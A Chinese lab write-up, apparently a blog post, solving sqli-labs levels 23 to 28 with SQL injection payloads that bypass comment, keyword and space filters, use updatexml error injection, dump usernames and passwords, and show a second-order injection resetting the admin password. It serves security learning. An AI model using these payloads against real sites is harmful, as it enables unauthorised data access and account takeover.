Less-23----Less-28

Less-23

?id=1 正常显示 ?id=1'报错 ?id=1'--+ 报错信息显示未闭合

这时候去查看源码  如下:

发现过滤了#和--,替换成'',所以我们只能用and或or语句进行闭合,所以这道题有以下几种方法

第一种方法:用;%00来代替--+注释 (不再一一列出)

第二种方法:使用and'1'='1或or'1'='1闭合后面的单引号,payload:

?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'='

?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'='

?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' ='

第三种方法:基于第二种的报错注入,payload:

?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1(还是依次遍历查出每一个)

第四种方法:简单闭合绕过过滤,payload:

?id=' union select 1,2,database() '

?id=-1' union select 1,(select table_name from information_schema.tables where table_schema='security' limit 3,1),'3

另外查询字段时有这样一个问题

?id=1' order by 10 报错,因为没闭合

?id=1' order by 10 and '1'='1 返回正确,但是将10改为任何数都正常,无法查询列数,明显有错

所以我们到mysql命令行中依次进行以下操作:

select * from users; 返回正常

select * from users where id=1;返回正常

select * from users where id=1 and 1=1; 返回正常

select * from users where id=1 or 1=1; 此时返回所有数据,相当于where true,id值为任意值也是一样

select * from users where id=1 order by 3; 返回正常

select * from users where id=1 order by 3 and 1=1; 返回正常

select * from users where id=1 order by 1111 and 1=1;

select * from users where id=1 order by 1111 or 1=1;这两条返回正常

因为:order by在where的条件中,在where执行时被忽略了,并未被执行决定于MySQL的解析顺序

select * from users where id=1 and 1=1 order by 3;

select * from users where id=1 and 1=1 order by 3333;返回不存在此列,也可理解为返回正常

综上:在SQL语句中我们可以order by种语法来查询字段 select * from users where id=1 and 1=1 order by (数值)

但本题中?id=1' or '1'='1 order by 10对应的SQL语句我们知道不可能有报错的情况,所以应使用union select进行

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入

就是防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入

可以概括为两步:第一步:插入恶意数据和第二步:引用恶意数据

Less-24

打开页面可以看到一个登陆界面,尝试用admin'#进行注入,失败.所以无法进行SQL注入

继续研究, 发现Forgot your password?功能不能使用,而New User click here?可以进行用户注册所以我们试着在此注册页面进行二次注入

首先,我们注册一个账号,用户名为:admin'#  ,密码为:111

注册admin'#

注册成功,回到主页面登录返回是修改密码的,当我们重新修改admin'#的密码的时候,这里修改为:123456,显示Password successfully updated(密码修改成功)

再去数据库看看就发现了二次注入的威力:admin的密码由admin变成了123456,而admin'#用户的密码并没有发生变化

数据库数据

原因是:虽然这个 admin' #,在创建的时候,并没有对数据库造成什么影响,但是从数据库中拿出来,去进行sql拼接的时候,就发生了影响,这个#就注释掉了后面的内容,改变的是username为admin用户的密码

尝试分析源码,出现问题的页面很显然是注册页面,与密码修改重置的页面。

注册用户时:

        仅对特殊字符进行了转义,判断输入两次密码是否一致,然后将用户键入,将数据插入至数据库。

        $sql = "insert into users ( username, password) values(\"$username\", \"$pass\")"这里直接插入了数据

修改密码时:

      $username= $_SESSION["username"];直接取出了数据库的数据

      $sql = "UPDATE users SET PASSWORD='$pass' where username='$username' and password='$curr_pass' "对该用户的密码进行更新

      $sql = "UPDATE users SET PASSWORD='12345678' where username='admin‘# 

Less-25

按照老套路 发现执行到order by语句和union select 1,2,group_concat(schema_name) from information_schema.schemata--+时报错

可以看出均是语句中的or没有了,导致出错

查看源码

所以是过滤了or,and类型,故有以下几种方法

正常是双写oorr、aandnd绕过或&& %26%26替代and,||替代or;但or and闭合"'"时用--+或Less-23关的代替

联合查询,payload:

?id=1' oorr '1'='1/?id=1' || '1'='1

?id=1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema='security' --+

报错注入,payload:

?id=1' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)),1)--+

?id=1' || updatexml(1,concat(0x7e,(select schema_name from infoorrmation_schema.schemata limit 0,1)),1)|| '1'='1

Less-25a

和25关一样过滤and、or(盲注怎么判断过滤了and跟or呢,直接在前面添加or或and)此处我们依旧用|| &&来代替and,or

不同于25关的是sql语句中对于id,没有' '的包含,同时没有输出错误项,报错注入不能用

此处建议采取两种方式:延时注入和联合注入

Less-26

?id=1 正常

?id=1' 报错,可能有注入漏洞

?id=1' --+ 依旧报错  看页面下面的提示未显示过滤符
所以换一种 ?id=1' or '1'='1  正常,但提示中未显示or
?id=1' oorr '1'='1    正常,但还发现无空格显示

问题很多,这时候去看一下源码

发现过滤了 or,and , /* , – , # , 空格 , /

第一种:不考虑空格时用报错注入

?id=1' ||updatexml(1,concat(0x7e,(database())),1) || '1'='1

?id=1' || updatexml(1,concat(0x7e,(select(group_concat(concat_ws(0x7e,username,passwoorrd)))from(security.users) where (id=1))),1)||'1'='1       通过改id的值遍历来爆信息

考虑空格:用以下几种url编码代替空格即可

%09  Tab键(水平)

%0a  新建一行

%0c  新的一页

%0d  return 键

%0b  Tab键(垂直)

%a0   空格

payload:?id='%0bunion%0bselect%0b1,group_concat(username,':',passwoorrd),3%0bfrom%0busers%0bwhere%0bid='1

Less-26a

?id=1           ?id=1'            ?id=1' --+           ?id=1' ;%00         

?id=1' or '1'='1        ?id=1' || '1'='1     到这发现不了根本漏洞

查看源码  发现无法用报错注入

然后和Less-26一样过滤了很所东西,只是多了一个闭合括号

所以接着上面的写两个参照即可

?id=1') || ('1')=('1

?id=1')%a0||%a0('1')=('1

Less-27

因为前几关 猜想这关也差不多该绕过的绕过,执行到

/?id=1'%0Aunion%0Aselect%0A1,database(),3||'1'='1

发现union select 被过滤了

试试双写绕过还是不行,这是什么操作?还是看一下源码吧

简单补充PHP正则中的i,m,s,x,e

所以这段源码中的信息有:

这里正则表达式是只要你含有 就会一直匹配 双写不能绕过

正则过滤了-号,所以随便用一个错误的id值把显示的位置让出来即可

/s 使圆点元字符(.)匹配换行符, 上面这里没有点就不用管了,那么上面直接大小写绕过就可以了 , payload:

?id='%0AUNion%0ASElEct%0A1,(SELEct%0Atable_name%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'%0Alimit%0A0,1),3||'1'='1

Less-27a

闭合不一样,双引号型

?id="%0buniunionon%0bsElect%0b1,2,3||"1

Less-28

改变闭合方式 

时间延迟性也可

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 219,110评论 6 508
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 93,443评论 3 395
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 165,474评论 0 356
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 58,881评论 1 295
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 67,902评论 6 392
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 51,698评论 1 305
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 40,418评论 3 419
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 39,332评论 0 276
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 45,796评论 1 316
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 37,968评论 3 337
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 40,110评论 1 351
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 35,792评论 5 346
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 41,455评论 3 331
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 32,003评论 0 22
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 33,130评论 1 272
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 48,348评论 3 373
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 45,047评论 2 355

推荐阅读更多精彩内容

  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,598评论 0 1
  • 转载,觉得这篇写 SQLAlchemy Core,写得非常不错。不过后续他没写SQLAlchemy ORM... ...
    非梦nj阅读 5,414评论 1 14
  • web应用程序会对用户的输入进行验证,过滤其中的一些关键字,这种过滤我们可以试着用下面的方法避开。 1、 不使用被...
    查无此人asdasd阅读 7,276评论 0 5
  • Less-5 \ near ''1\' LIMIT 0,1' at line 1 ' 闭合 ' --+ 成功 ...
    miss彡阅读 562评论 0 1
  • 学习过程中的简单总结 用联合查询有回显 首先是and判断和or判断(or跟and判断方法不一样的,and是提交返回...
    理想型_lj阅读 432评论 0 0